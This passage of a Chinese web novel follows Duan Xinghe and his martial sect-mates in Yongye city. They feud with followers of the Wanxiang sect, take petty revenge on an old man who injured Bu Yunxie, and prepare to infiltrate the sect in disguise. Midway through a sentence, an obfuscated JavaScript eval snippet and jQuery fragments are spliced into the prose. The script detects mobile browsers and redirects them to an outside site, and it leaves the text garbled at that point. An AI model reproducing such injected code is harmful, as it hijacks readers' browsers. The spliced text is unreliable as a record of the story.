众人在大堂里坐了一会儿,饭菜送上来了。一群人好久都没见荤腥了,顿时埋头狂吃起来。刘正阳被鱼刺卡住了,憋得满脸通红。于九给他递了个大馒头,他运气不错,用馒头把鱼刺拱下去了。他瘫在椅背上直喘气,道:“妈耶,差点没噎死。” 于九道:“喝点水顺顺。” 旁边有人嗤笑道:“哪来的乡巴佬,跟饿死鬼投胎似的。” 刘正阳很不爽,回头瞪了那些人一眼。于九淡淡道:“别惹事,好好歇几天。” 他们带来的侍卫都挎着刀,猿臂蜂腰的,一看就是练家子。于九往那里一坐,举手投足都透着一股利落劲儿,更是显得鹤立鸡群。大堂里有几个当地人互相看了一眼,打了个眼色,一人便过来道:“几位兄弟,从哪儿来啊?” 一名侍卫道:“我们从大幽来,是钦天监的。” 问话的那人没听过钦天监,觉得定然是个无足轻重的小门派,道:“我看你们几位都很不错,要不要改投我们万象门啊?” 在大幽都城,万象门的教主是庆熙帝的座上宾,其门人也听从朝廷的调遣。而到了夷州天高皇帝远,永夜城又是夜游神的地盘,朝廷的人反而要看万象门的脸色了。李如芝心里有些不痛快,冷冰冰的不搭理他们。张掖最会看人脸色,立刻道:“我们对万象门没兴趣,几位不必传教了。” 其他侍卫也自居是大幽朝廷的人,觉得高人一等,都是一副轻蔑的表情。 那人没想到这几个外乡人如此傲慢,冷笑了一声,道:“万象门是这里的龙头老大,来请你们是瞧得起你们,可别太不识抬举。” 刘正阳刚才还被他们嘲笑饿死鬼投胎,心里憋着气,故意道:“你们没听说过钦天监,我们还没听说过万象门呢。什么犄角旮旯里的小门派,也敢跟我们大幽朝廷的人攀交情。” 这边是万象门的地盘,他这么说话未免太得罪人了。于九眼角微微抽搐,感觉这人简直一会儿都消停不下来。周围不少食客朝这边回过头来,神色颇为不善。 他给刘正阳夹了一筷子红烧肉,道:“多吃饭,少说话。” 刘正阳吃着饭,听见身后有人道:“哪来的土包子,敢在永夜城撒野。” 有人道:“就是,对咱们万象门不敬,就该给他们点颜色瞧瞧!” 又有人劝道:“算了,外乡人没见识,跟他们计较什么。” 刘正阳有些惴惴不安,拿眼直往后瞟。就见那些人三三两两地凑在一起,看着这边,好像在盘算怎么对付他们似的。于九道:“这里不比大幽,你不会说话就少说几句,别惹事了行不行?” 刘正阳过了那股子冲动的劲儿,有点后怕,低声道:“我知道了。” 这时候就见段星河和步云邪从楼上下来了,身后还跟着魏小雨。刘正阳皱起了眉头,道:“你们怎么在这儿?” 李如芝见了他们,也露出了厌恶的表情。段星河比对方还意外,没想到上午他们还落魄的在外头洗野澡,这会儿已经装扮的人五人六的了。他反应极快,假装什么事都没发生过,道:“原来是李大人,你也在这里住宿啊?” 李如芝冷冷道:“你们也在么?” 段星河微笑道:“停下来歇两天。不耽误你们吃饭了,有空再聊。” 他说着往大街走去,刘正阳想呛他两句,可惜没逮着机会开口。那几人走远了,低声笑道:“这穿上衣服跟不穿就是两个样啊,脾气都见长了。” 刘正阳气得不行,把筷子往桌上重重一搁。于九提醒道:“淡定。” 刘正阳猛灌了一大杯茶水,喃喃道:“这个臭小子,他羞辱我的仇,我早晚要报!” 大堂里的人看着这边,又瞧着段星河等人的背影,互相交换了个眼色,对这些外乡人多留了几分意。 段星河带魏小雨去了衣裳铺子,让她挑几身喜欢的衣裳。他们仓促找到了小雨,一直没有合适的衣裳给她穿。司空玉给了她几件旧衣,结香帮着改小了一些,穿在身上还是荡悠悠的。 段星河跟步云邪在店里等了片刻,魏小雨穿着一身藕荷色的衣裳出来了,她脖子上戴着金锁片,头上用红绳扎着两个小揪揪。步云邪微微一笑,道:“不错,很好看。” 魏小雨对着镜子照了照,眼睛亮晶晶的,也很喜欢自己的模样。她挑了两套厚衣裳,三套单衣,段星河给她买了两件棉袄,一件镶着兔毛的桃粉色斗篷。买完衣裳,又去隔壁买了几双鞋子,这才觉得差不多了。 段星河手里提着大包小包,步云邪轻轻地牵着她的手,魏小雨跟他们待在一起觉得特别安心,好像之前受过的苦都烟消云散了。前头有卖糖葫芦的,一颗颗红果硕大饱满很是馋人。魏小雨抬头道:“大师兄,我想吃。” 段星河腾不出手,把腰包露出来,道:“自己去买。” 魏小雨欢喜地掏出几枚铜钱,快步跑了过去,踮起脚指着最顶上的一串糖葫芦。 两人站在路边,看着整个永夜城,感觉到处都笼罩着一层阴气。街上的行人看他们的目光带着怀疑,不怎么欢迎这些外乡人。步云邪道:“咱们在这儿待多久?” “尽量少出门吧,”段星河道,“等我探听完了消息,咱们就尽快走。” 魏小雨买了糖葫芦回来,一口没咬,先送到段星河嘴边道:“啊——” 段星河笑了,张嘴把最顶上的红果吃了。魏小雨迫不及待地啃了第二个,嚼得咯吱咯吱直响。步云邪扬眉道:“我呢?” 魏小雨把糖葫芦举起来,道:“二师兄,这个夹核桃的给你。” 步云邪咬下了那颗糖葫芦,核桃的香脆和山楂的酸甜融合在一起,确实不错。魏小雨道:“怎么样?” 步云邪轻轻一笑,道:“算你懂事。还想吃什么,哥给你买。” 80.永夜城 二 魏小雨昨天在街上吃了不少东西,第二天一早就说自己不舒服,什么都吃不下了。别人吃饭她看着,趴在桌子上动来动去的不安稳。伏顺道:“你吃那么多干什么,都多大了还没饥饱?” 她流浪的那段时间什么都没得吃,段星河想弥补她,她要什么就给买什么,没想到又把她撑着了。魏小雨捂着肚子说:“哎呦,我要去茅厕,大师兄你有厕纸吗?” 段星河摸了摸身上,道:“我去给你拿。” 魏小雨已经一溜烟地跑出去了。赵大海道:“哥,你是不是太宠她了。” 段星河道:“不算吧,伏顺上茅厕你不是也给送过纸吗?” 伏顺道:“他没给我送过几次,喊也喊不来,都是我扯片叶子擦了完事。” 李玉真还叼着半个荷包蛋,仿佛闻到了一股臭气,顿时吃不下去了。其他人本来准备上午出去采购的,步云邪道:“你还去么?” 段星河道:“我看着她吧,米面肉什么的,你们看着买点就行。” 步云邪站了起来,道:“行,走吧。” 伏顺和赵大海一路,驾着车去买给牲口用的粗粮。步云邪和李玉真一路,牵着一匹马,去买人需要的东西。司空玉没什么事,和宋胡缨还有六幺去逛街了。 段星河站在茅厕外面,旁边就是马厩,人粪的气味和马粪的气味混在一起,让人头昏脑涨的,段星河扯了两片叶子堵住了鼻孔。魏小雨蹲在里头,半天也不出来。她大声道:“大师兄,你走了吗?” 段星河道:“没有,你掉进去了么。” 魏小雨嘻地一声笑了起来,道:“没有,我好着呢!” 过了一会儿,她又喊道:“你走了吗?” 这孩子虽然嘴上不说,其实很没有安全感。段星河道:“我一直在这里等你出来。” 魏小雨便放心了,道:“好。” 一会儿魏小雨上完了厕所,小脸拉的蜡黄。她可怜巴巴地说:“我走不动了。” 她伸出胳膊,像从前在门派里跟人撒娇似的。段星河便把她背了起来,魏小雨把手放在他鼻子前,道:“你闻闻,我臭不臭?” 她的手凉凉的,没什么味道。段星河道:“手不臭,就是衣服熏臭了,小屎孩儿。” 魏小雨哇地一声叫起来,道:“大师兄,你嫌弃我!” 她说着拼命地把衣服往他身上蹭,双手使劲抹了他脸几下,要让他也染上自己的臭味。段星河哈哈地笑了,背着她逃也似的离开了茅厕。 回了屋,墨墨和小对眼还窝在垫子上睡觉。下楼吃饭之前,段星河给它俩放了饭,这会儿饭盆已经空了。段星河给它俩添了水,魏小雨爬到了床上,拍了拍褥子,感叹道:“这床真软啊。” 过去的一年里,她一直吃野果,睡在山洞里,个头根本没长,身体也比同龄人瘦弱。段星河心里不太好受,在她床边坐着,道:“肚子还疼吗?” 魏小雨道:“还有点。” 段星河道:“躺一会儿吧。” 魏小雨便闭上了眼,街上车水马龙的,偶尔传来小贩的吆喝声,小孩儿的嬉闹声,马车行路声,混合着一股人间烟火气弥漫开来,让人感觉很安心。段星河靠在床边,一会儿也打起瞌睡来。 不知过了多久,外头有人哐哐敲门,伏顺喊道:“大师兄,在吗!” 段星河睁开了眼,一时间还不知道自己在什么地方。这段时间颠沛流离的,实在有些疲惫。他去开了门,伏顺慌慌张张地道:“不得了,街上要打起来了,你快去看看吧!” 段星河诧异道:“怎么了?” 伏顺道:“李兄买了东西往回走,被城里的人拦住了。昨天刘正阳他们大放厥词,说万象门没什么了不起的,这里的人怀恨在心,以为咱们的人跟刘正阳他们是一路的,要跟咱们算账。” 段星河的脸色顿时难看起来,那小子虽然干正事不行,拉仇恨的本事却是一流的。他道:“阿云呢?” 伏顺道:“二师兄和李兄在一起。我跟大海听见那边闹哄哄的,过去一看,见他俩被当地人围着出不来。大海留下来护着他们,我就赶紧回来找你了。” 魏小雨被吵醒了,揉着眼坐起来,道:“怎么了?” 段星河道:“没事,你再睡会儿,我一会儿回来。” 他说着大步向楼下跑去,伏顺跟在后面道:“这边,跟我来!” 段星河跟着伏顺往前跑了几条街,见路口闹哄哄的,当地的百姓围成一圈指指点点。一名老者拄着拐,头发都白透了,脾气还挺大,道:“对虺神不敬,老天是要降罪的!” 那些人都是虺神狂热的信徒,恨不能一把火把这些外乡人烧了。一个中年汉子道:“这些臭道士傲慢的很,敢不把咱们万象门看在眼里,教训他们一顿也是应该的!” 赵大海大声道:“都说了我们跟那些人不是一路的,你们怎么动手就打人?” 一个妇人挎着篮子道:“我昨天分明见你们跟他们有说有笑的,熟悉的很,这回怎么不认了?” 李玉真扶着步云邪,手上沾着血,地上满是菜叶子和碎鸡蛋壳。段星河挤进去的时候,见步云邪的头被打伤了,鲜血顺着额角淌了下来。段星河登时恼了,炸雷似的吼道:“谁干的?” 他人高马大,又气势逼人。那帮人顿时被他慑住了,一时间没人敢说话。 虽然法不责众,但带头的是那个老头跑不了。巡视的官差从这边路过,见人群闹哄哄的,过来道:“怎么回事?” 李玉真见官差来了,仿佛见了救星,连忙道:“刚才这些人不由分说就拿菜叶子、石头扔过来,带头的就是这臭……这位老丈。我们不好跟百姓动手,步兄是为了给我挡着才被人打伤的。” 段星河在人家地头上,得给官府一个面子,道:“要怎么处置,都听官爷的。” 那老头儿拄着拐,一副气定神闲的模样,笃定他们不能把自己怎么样。官差果然面露难色,低声道:“年纪太大了,不好办。” 那老头儿六十多岁年纪,浑身皱的像个风干的老橘子,打也打不得,骂也骂不得。若真把他抓到县衙去,他往地上一躺,谁也拿他没办法。周围的人见多了这样的事,觉得不过是些无足轻重的外乡人,又没人给撑腰,打就打了。 他们本来就是混进来摸情报的,要是把事情闹大了,只怕引起万象门的注意。段星河窝着火,盯了那老头儿一眼,记住了他的模样。老头儿一点亏也不吃,大声道:“干什么,还瞪我,小心虺神降罪于你!” 伏顺道:“虺神是你家的啊,你说降罪就降罪?” 老头儿理直气壮道:“虺神保佑我们永夜城的每个人,你们这些不懂敬畏的外乡人,早晚要付出代价!” 官差摆手道:“行了别嚷嚷了,都散了吧。” 步云邪脸上的血越淌越多,把衣领都沾湿了。段星河看出官差向着那些人了,只能回头再跟他们算账。他皱眉道:“赶紧回去治伤。” 他扶着步云邪往外走,那些人仗着人多势众,还不愿让开。段星河沉下了脸,大声道:“我们跟李如芝他们不是一路人,也没得罪过你们万象门。谁惹了你们,你们去找谁算账,别找我们麻烦!” 他用力把人群扒拉出一个缺口,护着步云邪离开了。伏顺跟在后面,倒退两步指着周围的人道:“差不多得了啊,再闹我们还手了!” 回到客栈,步云邪的伤口还在流血。段星河把他脸上和脖子上的血迹擦干了,仔细看来,伤口还不止一处。一个小伤口在太阳穴附近,还有一个大一点的在头发里面。段星河觉得疼似的倒抽了口气,把手覆盖在伤口上,一道幽紫的灵光生出来,伤口渐渐收起来了。 段星河道:“还有哪里不舒服?” 步云邪的脸色苍白,闭着眼道:“头有点晕,耳朵也嗡嗡直响。” 段星河仔细查看了,他耳朵里没流血,应该就是被石头砸的。段星河想起那帮人就恼火,阿云的本事也不差,只不过不想伤害百姓,结果就被他们打成这样。 他摆了摆手,示意其他人都出去。赵大海还心有余悸,道:“要是有人再来找事怎么办?” 段星河现在恨不能来几个不懂事的,好揍一顿出出气,道:“官府不管事,不是还有宋姑娘和六幺么,我也能打,不用怕他们!” 众人便陆陆续续地出去了,屋里静了下来。段星河坐在床边,握着步云邪的手,把一股灵力输送过去。步云邪睫毛动了动,道:“不用,我躺一会儿就好了。” 段星河攥着没放,道:“别说话了,歇会儿吧。” 步云邪渐渐放松下来,刚才他们只不过上街买点东西,就莫名其妙被人围攻,简直不能更冤枉。永夜城不愧是夜游神的老家,民风彪悍,这里的人都对虺神痴迷的不得了,不允许任何人说万象门半句不是。 在夜游神的地盘上当众大放厥词,刘正阳也是够缺心眼的。步云邪叹了口气,喃喃道:“都是那个扫把星,一张破嘴什么都说,真是倒了他的血霉。” 段星河皱眉道:“你放心,我早晚找他算账。” “算了吧,”步云邪疲惫道,“他现在有李司正护着,你能拿他怎么办?” 段星河冷笑了一声,道:“那小子就会惹事,李如芝也烦他烦得很了,我揍了他也没人管!” 步云邪道:“还有于九护着他呢。” 段星河扬眉道:“你怎么知道于九不想揍他?” 看得出来,于九也跟刘正阳够够的了,一天到晚跟看孩子似的给他擦屁股没个尽头。步云邪觉得有点好笑,稍微一震,脑子就嗡嗡的疼。他倒抽了一口气,低声道:“不说话了,头晕。” 段星河嗯了一声,道:“睡一会儿吧。” 步云邪闭上了眼,片刻呼吸渐渐沉了下去。段星河守了他一阵子,觉得头晕不是小事,还是得让郎中来看看。他悄然出了门,伏顺从外头回来,兴奋道:“大师兄,我找到那老头住的地方了!” 刚才段星河转过街角,就让伏顺去盯着那老头,看看他是什么来路。伏顺当即钻进了人群,悄悄跟了一阵子。就见那老头穿过菜市场,一路上买了一斤小白菜,强行让人白饶了他两根小葱,趁着拥挤还偷偷摸了一个妇人的屁股。那妇人扭过头来,跳着脚骂他:“游手好闲了一辈子,老赌鬼,见不得人好!怪不得你媳妇跟人跑了!” 老头儿装没听见,一副无辜的模样走了。伏顺见他走到一片破旧的老城区,推门进了一间破院里,便跑回来报信了。 段星河道:“什么身份?” 伏顺道:“什么也不是,就是个老盲流。你看他那腿一瘸一拐的走路不利索,听说就是早年赌博被他大舅子拿扁担打的。” 步云邪好端端的被这种人砸得流了一头血,简直没天理了。段星河越想越气,这老头儿倚老卖老是吧,那就以其人之道还治其人之身。他喊道:“小雨呢,小雨——” 魏小雨已经睡醒了,从隔壁冒出头来,嘴里叼着半块水晶桂花糕,道:“什么事,大师兄。” 段星河道:“带你去活动活动手脚,走着。” 三人上了街,伏顺在前头带路,来到了那老头的住处。恶人住的地方破破烂烂的,风水也不怎么样。几个人站在两扇歪歪斜斜的大门前,段星河道:“他不是不要脸么,把这老头儿的门面给他拆了!” 他说着撸起袖子,把大门上的木板撅下来一块,哐地扔到了一边。伏顺不甘落后,抬脚就踹,片刻功夫就把一扇大门卸了下来。老头儿上了年纪,耳朵不好使,还以为是别处的动静。几人把他的两扇门都卸了下来,他才拄着拐出来,气得大叫:“干什么,干什么——” 魏小雨拍去了手上的木屑,理所当然道:“干什么,拆门啊。” 段星河淡然道:“你这大门太破了,下雨天危险的很。我们随手帮你拆了,不必多谢。” 老头认出了他们,怒道:“好,你们——你们来报复我,我跟你们拼了!” 他举着拐杖冲过来,段星河跟伏顺站着没动,魏小雨弯腰躲过了那一棍,一把揪住了他的衣领,一个过肩摔把老头掼在了地上。 拐棍铛地一声先落了地,老头儿一头扎在地上,满脸都是血。段星河的心情顿时舒畅了,这才叫公平。老头儿没想到一个小女孩儿居然有这么大的力气,更别说那两个大小伙子了。他害怕的浑身发抖,大声道:“天杀的臭道士,我要报官,我要抓你——” 有人从旁边路过,见了这情形快步往街口跑去。段星河也不着急,道:“怕你不报官呢,赶紧去叫人。” 他在一块大石头上坐下了,气定神闲地翘起了二郎腿。老头儿气得不行,等了一阵子,有人带了官差过来。捕头没想到一上午功夫见了他们两回,道:“怎么回事?” 老头儿坐在地上,颤巍巍道:“他们拆我家大门,还打我。” “我没动手啊,”段星河无辜道,“是我这小妹子顽皮,我来的时候就已经这样了。” 魏小雨一挺胸,大声道:“一人做事一人当,就是我干的!” 老头简直要气死,说:“他们一起拆的,他们是来报复我的!” 魏小雨道:“明明是我自己做的,你东拉西扯的干什么。” 官差看出是怎么回事了,他们一向习惯了和稀泥,此时也道:“你自己干的?” 魏小雨嗯了一声,官差道:“为什么这么干?” 魏小雨道:“我又不是故意的,他的门歪歪斜斜的,我一碰就掉下来了。” 地上的门板确实破破烂烂的,一阵大风都能吹塌了。老头不甘心道:“她还打我,你们看我这满脸的血!” 魏小雨道:“是他要拿拐杖打我,我转头就跑,他自己就摔了。” 老头儿又气又急,还想趁机讹一把,道:“官爷,别听这些外乡人胡说,你得给我个说法啊!” 官差果然道:“太小了,不好办。” 伏顺嘿地一声笑了,果然恶人还是要恶人来磨。官差打发道:“一把年纪了,肝火别这么大,赶紧回屋歇着去吧。” 老头儿气得浑身哆嗦,他本来想欺负外来的人过过瘾,没想到这些小后生一点都不好惹。他们几个在院子里吵架,全然不知道远处的一座高楼上,有人正望着这边。 阳光照在那人的银扳指上,流过一道白光,看的津津有味。片刻他收起了手里的千里镜,吩咐道:“这几个外乡人有点意思,派人盯着他们。” 身后一人道:“是,堂主。” 整治完了那臭老头,三个人身心舒畅,打算去给步云邪请个郎中。走过一条街,就见前头乌乌泱泱地站着些人。段星河有些纳罕,不知道这里的人怎么这么爱看热闹,又出什么事了? 几人走到跟前,就见一个中年男人爬到了一棵梧桐树上。寒冬腊月里,他身上的棉袄敞着怀,长着一脸大胡子,喝的醉醺醺的。有人道:“哎呦,这不是兴盛镖局的杨镖头吗,这是干什么?” 又有人道:“喝酒撒疯呗,一把年纪了,也不嫌丢人。” 杨镖头拿头蹭了蹭树,醉醺醺地说:“老伙计,还是你对我好,我给你唱一段曲儿,你听着昂——入山看到藤缠树,出山看到树缠藤……树死藤生缠到死,藤死树生死也缠。” 他的嗓门极大,从这条街能传到对面街上去,好像生怕别人听不见似的。几个年轻男子跑过来,站在树下大声喊道:“师父,别唱了,下来吧。” 杨镖头又喝了一口酒,大手一挥,豪迈地把葫芦扔下来,不耐烦道:“闭嘴,啰啰嗦嗦的,坏老子喝酒的兴致!” 他这样疯疯癫癫的,让他的弟子都觉得丢人。一个年纪小点的徒弟都快哭了,道:“师父,这么多人看着呢,先下来行吗?” 杨镖头没理他,一个路人道:“他们镖局要倒了,欠了一屁股债还不上,当家的发疯不是很正常么?” 旁边有好事的问道:“怎么回事?” 那路人道:“听说他们之前保的一批镖被人劫了,辛辛苦苦挣了这么多年,攒了点家底都赔钱了。” 周围的人啧啧感叹,同情地看着树上的男人。有人低声道:“老杨也是个好人,教了不少孩子学功夫,给他们吃饭的本事,要不然他们就只能去当苦力了。” 那些少年望着师父,都很难过。有人试图把他拉下来,杨镖头虚空蹬了一脚,道:“起开,嗝,不好……吃多了,老子要吐!” 他哇地一声朝树下吐了起来,周围的人吓了一跳,连忙四下躲开了。地上臭气难当,他的模样也狼狈得要命。杨镖头吐了一阵子,扒着树往后一仰,就这么打着呼噜睡着了。 这人要是醒了,知道自己喝醉了干过什么,肯定无地自容。段星河摇了摇头,继续往前走去。伏顺道:“大师兄,这城里的人怎么都这么不正常啊?” 段星河道:“在夜游神的地盘上,这样的已经算很正常了。” 伏顺觉得也是,往前走了一阵子,见前头有个戏园子。几个伙计搭着梯子把门口的招牌取了下来,上头画着个男旦贵妃醉酒的装扮,很有些雌雄莫辨的气质。伏顺摸了摸下巴,道:“这人好生俊俏啊,怎么把牌子摘了?” 路边一个下棋的大叔道:“这是周春生,今年刚出来的新人,嗓子好,扮相也漂亮,本来是挺有前途的,唉……” 伏顺一向十分八卦,道:“怎么了?” 大叔道:“他要去唱堂会,三个月不在公众面前演出,专门伺候大老爷。” 伏顺道:“什么大老爷?” 大叔道:“大老爷就是有身份有钱的人,有男的也有女的。唱得好,人家给个晋身的梯子,砸钱捧他,从此他就是永夜城的头一份了。” 伏顺道:“那不是挺好的么?” 另一个卖瓜子的小贩嗤笑道:“你以为唱堂会光唱就得了,人家玩的花着呢,不少人都被玩残了的,被抬回来再也上不了台了。你想要这泼天的富贵,也得看有没有命能接的住。” 伏顺遗憾地看了一眼那个男旦,道:“他现在不也挺好的么,为什么要冒风险做这样的事?” “贪呗,”小贩鄙夷道,“人红了就想要更红,想地位稳固,钱是赚不够的。” 那块招牌上沾了一点灰尘,正好在男旦的脸上,把桃花似的脸蛋儿弄得灰蒙蒙的。一个伙计遗憾似的拿袖子擦了擦招牌,却怎么也擦不干净。有人在戏园子里扬声招呼,那伙计就扛着招牌和其他人一起走了。 前头有一间药铺外挂着个葫芦,段星河进去找了个郎中出诊。片刻回到了客栈,郎中给步云邪看了病,说他的头受到了震荡,得静养十天左右。这期间千万不能颠簸,要不然以后可能留下头疼的病根。 郎中开了几副药便走了。步云邪抬眼看他,道:“怎么去了这么久?” 他有些不高兴,好像怨自己扔下他似的。段星河扬起了嘴角,在床边坐下了,道:“久么?帮你出气去了。” 他把刚才的事说了,步云邪有些难以置信,却也觉得痛快,道:“你不怕他讹上你?” 段星河无所谓道:“小雨也是小孩子嘛。吓坏了我小妹子,也有得他赔的。” 出门在外,不比在老家。步云邪不想让他惹上麻烦,道:“以后还是算了吧。” 段星河的原则一向是打自己就算了,打他兄弟不行。他道:“那不成。不还回去,老子道心不稳。” 他看着步云邪,道:“感觉好点了么?” 步云邪的心情舒畅了,脑袋确实也没那么晕了,道:“没事了。” 段星河松口气,温声道:“我去给你熬药,你歇一会儿吧。” 步云邪本来就瘦,病了更是没有胃口,两天就瘦了一圈。段星河寻思着光吃药不行,想给他弄点滋补的东西。这天一大早,段星河下楼问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007057|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小二哥有没有天麻乌鸡汤。小二哥挠了挠头道:“这儿只有烧鸡,外头街上的小饭馆里炖品挺多的,要不您去问问。” 段星河便出了门,去斜对面的饭馆看了一眼,里头有乌鸡汤,还有鲫鱼汤、鸽子汤,都是滋养病人的好东西。他点了一份天麻乌鸡汤,坐在馆子里等着。对面传来咿咿呀呀的唱曲声,他心不在焉地听着。 当啷一声,一双筷子掉在了地上。他回过头去,见不远处的桌子边坐着个中年男人。那人长着一脸大胡子,正是前两天搂着树唱歌的杨镖头。 段星河以为他撒了一天酒疯就完事了,没想到他今天又醉醺醺地出来了。段星河不知道他到底遭遇了什么,但一个从前受人敬重的人在大街上这样大发酒疯,必然是有难过的坎儿。段星河有些同情他,跟店家点了一碗醒酒汤,让送到那人的桌上。 杨镖头趴在桌子上,喝得迷迷瞪瞪的,十分难受。他见小二端了醒酒汤过来,奇怪道:“送错了吧?” 小二哥道:“没错,是那位公子请您的。” 段星河等的乌鸡汤还没来,闲来无事,想跟他聊聊。两人的座位相邻,他转过身来道:“杨先生,久仰大名,喝碗汤醒醒酒吧。” 杨镖头没说话,垂着头道:“什么久仰大名,我现在是墙倒众人推,大家见了我躲还来不及呢。你这小子是哪来的,想干什么?” 段星河随口道:“我听说你武功很好,很佩服你。” 杨镖头打量了他一眼,见他身材高大结实,道:“你也是个练家子?” 段星河谦道:“那不敢当,我就是会一点拳脚功夫,喜欢结交会武功的朋友。” 江湖中有不少人练武成痴,喜欢找人切磋功夫,也有过不少人慕名来拜访他。杨镖头想起了从前自己的那些好日子,那时候他身强力壮,带领镖局的兄弟们赚了不少钱,大家见了他都笑脸相迎,很是崇拜他,如今看到他却像见瘟神似的。 他大手一摆,醉醺醺地说:“我现在不成了,前阵子我保的镖被劫了,赔不上钱,五万两啊,老子砸锅卖铁都凑不齐这么多……只能找高利贷填上了窟窿,结果现在利滚利,更还不起了。” 他现在的处境确实艰难,难怪这么消沉。段星河劝道:“那你也得振作起来,那么多徒弟还指望你做主呢,再说你这样喝酒也解决不了问题啊。” 杨镖头摇了摇头,哑声道:“你见过我丢人了么,我是不是像个小丑?” 街上那么多人,他大闹的情形确实有些不堪。混江湖的人都好面子,却不知道他为什么这么做。段星河也不好说什么,杨镖头惨笑道:“他们就是要让我丢人……那些人让我加入他们,只要通过考验,就给我钱还债。” 段星河心头微微一动,道:“什么人?” 杨镖头低着头,昏昏沉沉地没回答。他趴在桌子上,醉得眼皮子直打架,喃喃道:“万象门可怕得很……小伙子,听我一句劝,千万别沾上他们。我是一步错、步步错,没办法回头了……别跟我一样。他们有很多秘密,一旦进去了,就再也没办法脱身了。” 段星河的眉心一跳,果然是万象门的人,这城中的许多事都被他们操纵着。段星河低声道:“有什么秘密?” 杨镖头醉得不省人事,打了一声呼噜,已经睡着了。 段星河看着他消沉的模样,想起了钱老爷也被他们威胁过。万象门的人野心极大,从前就使手段铲除了纵横派,在大幽一家独大。如今更是把手伸到别的地方,想要笼络这片大陆上的所有能人,暗中掌控一切。 小二哥送来了天麻乌鸡汤,段星河拿回客栈,厨房的人已经帮他把药熬好了。段星河左右手各提一个食盒,上楼进了客房,步云邪已经醒了。天色将近黄昏,他穿着一身白色的中衣坐在床头,揉了揉眼道:“晚上吃什么?” 段星河故意道:“吃药。” 步云邪的脸顿时皱了起来,他自己就是医生,私底下还像个小孩儿似的嫌药苦。段星河笑了,道:“吃完了药喝鸡汤,还有点小笼包。” 步云邪顿时松了口气,段星河把碗端过来,看着他把药吃了。他打开油纸包,小笼包还冒着热气。步云邪跟他分着吃了两屉包子,又喝了半碗鸡汤,道:“吃不下了。” 段星河便把碗放在一旁,陪他坐了一会儿。他想着白天的所见所闻,万象门的人潜藏在这个城中的每一个角落,窥视着一切,又暗中操纵着一切。步云邪的伤没有那么严重了,他想去探查一下万象门的事。 步云邪看出他有心事,道:“怎么了?” 段星河不想让他担心,道:“没什么,对了……这几天我去给你找点药,让李兄来照顾你。” 来之前他就说要摸万象门的底儿,步云邪感觉他要有所动作了。他一向主意大,想干什么谁也拦不住。步云邪皱眉道:“你小心点儿。” 段星河瞒不过他,嗯了一声。步云邪现在帮不上他,又不放心他自己去,道:“别老一个人独来独往的,叫个人和你一起,有危险赶紧撤。” 段星河应了一声,道:“你好生养伤,等我事办完了咱们就走。” 他回了屋,寻思着要摸清敌人的底细,最简单有效的法子就是成为他们的一员。自己虽然是头一次来永夜城,但里头未必没人认识他。 他从包袱里拿出一张人皮面具,对着镜子贴在了脸上。面具的肤色比他自己的更黄一些,下颌角更钝一些,鼻头也更宽,没他本人好看,但也是一副硬朗的相貌。伏顺从外头进来,道:“大师兄,干什么呢——” 段星河回过头来,伏顺见一个陌生人坐在屋里,怔了一下才道:“大师兄?” 段星河有些得意,看来自己这易容术还挺管用的,连朝夕相处的兄弟都认不出来。他道:“是我。” 伏顺松了口气,道:“你打扮成这样干什么?” 阿云说的不错,这么危险的事还是带个兄弟去稳妥,万一出事还能有个报信的。段星河低声道:“万象门不是到处招人么,我想混进去看看,你要不要一起来?” 伏顺道:“还有谁?” 段星河寻思着人少能随机应变,太多了反而惹眼,道:“就咱俩。” 伏顺的眼睛一亮,心想这么重要的事,大师兄不叫赵大海他们,只跟自己说,这就够他跟人吹一阵子的了。他道:“哥你叫我是瞧得起我,我当然愿意跟你去!” 段星河露出了笑容,道:“那好,我给你易容。” 他找出一张人皮面具,给伏顺贴在脸上,把他的脸弄得圆润了一点,又给他贴了一圈小胡子。两个人对着镜子照了照,忍不住都乐了。段星河看起来像个扛活的苦力,一天到晚都为了养活一家老小奔忙。伏顺还是贼眉鼠眼的,因为脸上有了点肉,显得比从前顺眼了一些。 段星河道:“我已经跟阿云说了,家里的事不用惦记了。从现在起我叫李大壮,你叫李老二,咱们是亲哥俩。” 伏顺嘿地一声笑,觉得李大壮这个名字有点敷衍,当然李老二也没好到哪里去。他跟段星河挤在一个镜子里,看了片刻道:“咱俩像亲兄弟吗?” 他俩确实差的有点多,但也不是什么大问题。段星河一搂他肩膀,道:“没事,我说像就像。” 伏顺挺高兴,段星河道:“走吧。” 伏顺愕然道:“这就去,我还没收拾东西呢。” 段星河已经盘算好了,道:“不用收,先放个饵再说。” 将近黄昏,客栈的大堂里觥筹交错,有不少客人在吃饭。段星河跟伏顺要了一壶酒,一份凉拌猪耳朵,一碟花生米,坐在大堂的一角。 伏顺抛起一颗花生米,用嘴接住了,一副百无聊赖的模样道:“能等到吗?” 段星河悠然道:“一天等不来,就等两天。他不是要拉人头么,反正咱们也没什么事……” 正说着,忽然见一人从外头走了进来。那人的身材偏瘦,穿着一件麻黄色的棉袍,袖口和领口都绽了线,一双小眼睛打量着来往的客人,在旁边的一张桌前坐下了,正是之前招揽过他们的那个人。段星河的眼睛一亮,低声道:“这不是来了么。” 伏顺忽然意识到一个问题,道:“怎么跟他搭上话?” 他们若是太主动,反而会引起对方的怀疑。段星河道:“把你的看家本事使出来,把他勾引过来不就得了。” 伏顺一怔,小声道:“老本行?不行不行不行……我入门的时候答应过师父,不再偷东西了。” 段星河道:“真没再偷过?” 伏顺显得有点为难,小声道:“可能偷过一次……两次……唉,我不记得了,也是情势所迫,不是为了钱。” 段星河道:“现在也是情势所迫,去吧。” 伏顺委屈道:“哥,你不教我学好。” 段星河一扬嘴角,道:“谁跟你说我是好人了?” 那人坐的离他们不远,正看着这边。堂主前阵子让他盯的那几个外来的小子没了动静,组织正在缺人的时候,让他们抓紧吸收一些新鲜的血液进来。 伏顺打量了一圈周围的人,见一个中年男人腰上挂着个瘪瘪的钱袋子,里头应该没有几文钱了。他等着那人走过来,伸手轻轻一勾,便把那个钱袋子取下来了。 